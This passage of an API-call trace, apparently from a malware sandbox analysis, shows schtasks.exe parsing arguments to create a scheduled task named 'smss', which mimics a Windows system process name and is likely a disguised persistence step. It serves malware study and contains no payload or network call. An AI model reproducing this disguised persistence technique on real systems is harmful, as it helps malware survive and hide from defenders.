0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba70 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a10 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a40 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a70 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5aa0 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba90 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ad0 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b00 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b30 [0074.653] GetProcessHeap () returned 0x2d0000 [0074.653] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b60 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ebab0 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b90 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5bc0 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5bf0 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c20 [0074.654] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.654] SetLastError (dwErrCode=0x0) [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c50 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c80 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5cb0 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ce0 [0074.654] GetProcessHeap () returned 0x2d0000 [0074.654] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5d10 [0074.655] GetProcessHeap () returned 0x2d0000 [0074.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ecbb0 [0074.655] _memicmp (_Buf1=0x2ecbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.655] GetProcessHeap () returned 0x2d0000 [0074.655] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x208) returned 0x2ecbd0 [0074.655] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ecbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0074.655] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0074.656] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0074.656] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0074.657] GetProcessHeap () returned 0x2d0000 [0074.657] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2ed1c0 [0074.657] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0074.657] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2ed1c0 | out: lpData=0x2ed1c0) returned 1 [0074.657] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0074.657] VerQueryValueW (in: pBlock=0x2ed1c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x23f3c8, puLen=0x23f430 | out: lplpBuffer=0x23f3c8*=0x2ed55c, puLen=0x23f430) returned 1 [0074.659] _memicmp (_Buf1=0x2ecbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.659] _vsnwprintf (in: _Buffer=0x2ecbd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x23f3a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0074.659] VerQueryValueW (in: pBlock=0x2ed1c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x23f438, puLen=0x23f428 | out: lplpBuffer=0x23f438*=0x2ed388, puLen=0x23f428) returned 1 [0074.659] lstrlenW (lpString="schtasks.exe") returned 12 [0074.659] lstrlenW (lpString="schtasks.exe") returned 12 [0074.660] lstrlenW (lpString=".EXE") returned 4 [0074.660] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0074.660] lstrlenW (lpString="schtasks.exe") returned 12 [0074.660] lstrlenW (lpString=".EXE") returned 4 [0074.660] _memicmp (_Buf1=0x2ecbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.660] lstrlenW (lpString="schtasks") returned 8 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5e00 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edad0 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edb00 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edb30 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ecfd0 [0074.661] _memicmp (_Buf1=0x2ecfd0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa0) returned 0x2ecff0 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edb60 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edb90 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edbc0 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.661] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed0a0 [0074.661] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.661] GetProcessHeap () returned 0x2d0000 [0074.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x200) returned 0x2ee2a0 [0074.662] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0074.662] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0074.662] GetProcessHeap () returned 0x2d0000 [0074.662] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7b70 [0074.662] _vsnwprintf (in: _Buffer=0x2ecff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x23f3a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0074.662] GetProcessHeap () returned 0x2d0000 [0074.662] GetProcessHeap () returned 0x2d0000 [0074.662] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed1c0) returned 1 [0074.662] GetProcessHeap () returned 0x2d0000 [0074.662] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed1c0) returned 0x74e [0074.663] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed1c0 | out: hHeap=0x2d0000) returned 1 [0074.663] SetLastError (dwErrCode=0x0) [0074.663] GetThreadLocale () returned 0x409 [0074.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.663] lstrlenW (lpString="?") returned 1 [0074.663] GetThreadLocale () returned 0x409 [0074.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.663] lstrlenW (lpString="create") returned 6 [0074.663] GetThreadLocale () returned 0x409 [0074.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.663] lstrlenW (lpString="delete") returned 6 [0074.663] GetThreadLocale () returned 0x409 [0074.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.663] lstrlenW (lpString="query") returned 5 [0074.663] GetThreadLocale () returned 0x409 [0074.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.663] lstrlenW (lpString="change") returned 6 [0074.663] GetThreadLocale () returned 0x409 [0074.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.663] lstrlenW (lpString="run") returned 3 [0074.663] GetThreadLocale () returned 0x409 [0074.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.663] lstrlenW (lpString="end") returned 3 [0074.663] GetThreadLocale () returned 0x409 [0074.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.664] lstrlenW (lpString="showsid") returned 7 [0074.664] GetThreadLocale () returned 0x409 [0074.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0074.664] SetLastError (dwErrCode=0x0) [0074.664] SetLastError (dwErrCode=0x0) [0074.664] lstrlenW (lpString="/create") returned 7 [0074.664] lstrlenW (lpString="-/") returned 2 [0074.664] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.664] lstrlenW (lpString="?") returned 1 [0074.664] lstrlenW (lpString="?") returned 1 [0074.664] GetProcessHeap () returned 0x2d0000 [0074.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed1c0 [0074.664] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.664] GetProcessHeap () returned 0x2d0000 [0074.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ed1e0 [0074.664] lstrlenW (lpString="create") returned 6 [0074.664] GetProcessHeap () returned 0x2d0000 [0074.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed200 [0074.664] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.664] GetProcessHeap () returned 0x2d0000 [0074.664] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x14) returned 0x2ed220 [0074.664] _vsnwprintf (in: _Buffer=0x2ed1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|?|") returned 3 [0074.664] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.664] lstrlenW (lpString="|?|") returned 3 [0074.664] lstrlenW (lpString="|create|") returned 8 [0074.664] SetLastError (dwErrCode=0x490) [0074.664] lstrlenW (lpString="create") returned 6 [0074.664] lstrlenW (lpString="create") returned 6 [0074.664] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.664] GetProcessHeap () returned 0x2d0000 [0074.664] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed1e0) returned 1 [0074.664] GetProcessHeap () returned 0x2d0000 [0074.664] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ed1e0, Size=0x14) returned 0x2ed240 [0074.665] lstrlenW (lpString="create") returned 6 [0074.665] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.665] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.665] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.665] lstrlenW (lpString="|create|") returned 8 [0074.665] lstrlenW (lpString="|create|") returned 8 [0074.665] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0074.665] SetLastError (dwErrCode=0x0) [0074.665] SetLastError (dwErrCode=0x0) [0074.665] SetLastError (dwErrCode=0x0) [0074.665] lstrlenW (lpString="/tn") returned 3 [0074.665] lstrlenW (lpString="-/") returned 2 [0074.665] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.665] lstrlenW (lpString="?") returned 1 [0074.665] lstrlenW (lpString="?") returned 1 [0074.665] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.665] lstrlenW (lpString="tn") returned 2 [0074.665] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.665] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|?|") returned 3 [0074.665] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.665] lstrlenW (lpString="|?|") returned 3 [0074.665] lstrlenW (lpString="|tn|") returned 4 [0074.665] SetLastError (dwErrCode=0x490) [0074.665] lstrlenW (lpString="create") returned 6 [0074.665] lstrlenW (lpString="create") returned 6 [0074.665] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.666] lstrlenW (lpString="tn") returned 2 [0074.666] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.666] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.666] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.666] lstrlenW (lpString="|create|") returned 8 [0074.666] lstrlenW (lpString="|tn|") returned 4 [0074.666] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0074.666] SetLastError (dwErrCode=0x490) [0074.666] lstrlenW (lpString="delete") returned 6 [0074.666] lstrlenW (lpString="delete") returned 6 [0074.666] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.666] lstrlenW (lpString="tn") returned 2 [0074.666] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.666] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|delete|") returned 8 [0074.666] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.666] lstrlenW (lpString="|delete|") returned 8 [0074.666] lstrlenW (lpString="|tn|") returned 4 [0074.666] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0074.666] SetLastError (dwErrCode=0x490) [0074.666] lstrlenW (lpString="query") returned 5 [0074.666] lstrlenW (lpString="query") returned 5 [0074.666] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.666] lstrlenW (lpString="tn") returned 2 [0074.666] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.667] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|query|") returned 7 [0074.667] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.667] lstrlenW (lpString="|query|") returned 7 [0074.667] lstrlenW (lpString="|tn|") returned 4 [0074.667] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0074.667] SetLastError (dwErrCode=0x490) [0074.667] lstrlenW (lpString="change") returned 6 [0074.667] lstrlenW (lpString="change") returned 6 [0074.667] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.667] lstrlenW (lpString="tn") returned 2 [0074.667] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.667] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|change|") returned 8 [0074.667] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.667] lstrlenW (lpString="|change|") returned 8 [0074.667] lstrlenW (lpString="|tn|") returned 4 [0074.667] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0074.667] SetLastError (dwErrCode=0x490) [0074.667] lstrlenW (lpString="run") returned 3 [0074.667] lstrlenW (lpString="run") returned 3 [0074.667] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.667] lstrlenW (lpString="tn") returned 2 [0074.667] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.667] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|run|") returned 5 [0074.667] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.667] lstrlenW (lpString="|run|") returned 5 [0074.667] lstrlenW (lpString="|tn|") returned 4 [0074.667] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0074.667] SetLastError (dwErrCode=0x490) [0074.667] lstrlenW (lpString="end") returned 3 [0074.667] lstrlenW (lpString="end") returned 3 [0074.667] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.668] lstrlenW (lpString="tn") returned 2 [0074.668] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.668] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|end|") returned 5 [0074.668] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.668] lstrlenW (lpString="|end|") returned 5 [0074.668] lstrlenW (lpString="|tn|") returned 4 [0074.668] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0074.668] SetLastError (dwErrCode=0x490) [0074.668] lstrlenW (lpString="showsid") returned 7 [0074.668] lstrlenW (lpString="showsid") returned 7 [0074.668] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.668] GetProcessHeap () returned 0x2d0000 [0074.668] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed240) returned 1 [0074.668] GetProcessHeap () returned 0x2d0000 [0074.668] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ed240, Size=0x16) returned 0x2ed240 [0074.668] lstrlenW (lpString="tn") returned 2 [0074.668] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.668] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|showsid|") returned 9 [0074.668] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|tn|") returned 4 [0074.668] lstrlenW (lpString="|showsid|") returned 9 [0074.668] lstrlenW (lpString="|tn|") returned 4 [0074.668] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0074.668] SetLastError (dwErrCode=0x490) [0074.668] SetLastError (dwErrCode=0x490) [0074.668] SetLastError (dwErrCode=0x0) [0074.668] lstrlenW (lpString="/tn") returned 3 [0074.669] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0074.669] SetLastError (dwErrCode=0x490) [0074.669] SetLastError (dwErrCode=0x0) [0074.669] lstrlenW (lpString="/tn") returned 3 [0074.669] GetProcessHeap () returned 0x2d0000 [0074.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x8) returned 0x2ed1e0 [0074.669] GetProcessHeap () returned 0x2d0000 [0074.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edbf0 [0074.669] SetLastError (dwErrCode=0x0) [0074.669] SetLastError (dwErrCode=0x0) [0074.669] lstrlenW (lpString="smss") returned 4 [0074.669] lstrlenW (lpString="-/") returned 2 [0074.669] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0074.669] SetLastError (dwErrCode=0x490) [0074.669] SetLastError (dwErrCode=0x490) [0074.669] SetLastError (dwErrCode=0x0) [0074.669] lstrlenW (lpString="smss") returned 4 [0074.669] StrChrIW (lpStart="smss", wMatch=0x3a) returned 0x0 [0074.669] SetLastError (dwErrCode=0x490) [0074.669] SetLastError (dwErrCode=0x0) [0074.669] lstrlenW (lpString="smss") returned 4 [0074.669] GetProcessHeap () returned 0x2d0000 [0074.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ed270 [0074.669] GetProcessHeap () returned 0x2d0000 [0074.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edc20 [0074.669] SetLastError (dwErrCode=0x0) [0074.669] SetLastError (dwErrCode=0x0) [0074.669] lstrlenW (lpString="/sc") returned 3 [0074.669] lstrlenW (lpString="-/") returned 2 [0074.669] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.670] lstrlenW (lpString="?") returned 1 [0074.670] lstrlenW (lpString="?") returned 1 [0074.670] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.670] lstrlenW (lpString="sc") returned 2 [0074.670] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.670] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|?|") returned 3 [0074.670] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.670] lstrlenW (lpString="|?|") returned 3 [0074.670] lstrlenW (lpString="|sc|") returned 4 [0074.670] SetLastError (dwErrCode=0x490) [0074.670] lstrlenW (lpString="create") returned 6 [0074.670] lstrlenW (lpString="create") returned 6 [0074.670] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.670] lstrlenW (lpString="sc") returned 2 [0074.670] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.670] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|create|") returned 8 [0074.670] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.670] lstrlenW (lpString="|create|") returned 8 [0074.670] lstrlenW (lpString="|sc|") returned 4 [0074.670] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0074.670] SetLastError (dwErrCode=0x490) [0074.670] lstrlenW (lpString="delete") returned 6 [0074.670] lstrlenW (lpString="delete") returned 6 [0074.670] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.670] lstrlenW (lpString="sc") returned 2 [0074.670] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.670] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|delete|") returned 8 [0074.670] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.671] lstrlenW (lpString="|delete|") returned 8 [0074.671] lstrlenW (lpString="|sc|") returned 4 [0074.671] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0074.671] SetLastError (dwErrCode=0x490) [0074.671] lstrlenW (lpString="query") returned 5 [0074.671] lstrlenW (lpString="query") returned 5 [0074.671] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.671] lstrlenW (lpString="sc") returned 2 [0074.671] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.671] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|query|") returned 7 [0074.671] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.671] lstrlenW (lpString="|query|") returned 7 [0074.671] lstrlenW (lpString="|sc|") returned 4 [0074.671] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0074.671] SetLastError (dwErrCode=0x490) [0074.671] lstrlenW (lpString="change") returned 6 [0074.671] lstrlenW (lpString="change") returned 6 [0074.671] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.671] lstrlenW (lpString="sc") returned 2 [0074.671] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.671] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|change|") returned 8 [0074.671] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|sc|") returned 4 [0074.671] lstrlenW (lpString="|change|") returned 8 [0074.671] lstrlenW (lpString="|sc|") returned 4 [0074.671] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0074.671] SetLastError (dwErrCode=0x490) [0074.671] lstrlenW (lpString="run") returned 3 [0074.671] lstrlenW (lpString="run") returned 3 [0074.671] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.672] lstrlenW (lpString="sc") returned 2 [0074.672] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.672] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f3b8 | out: _Buffer="|run|") returned 5 [0074.672] _vsnwprintf (in: _Buffer=0x2ed220, 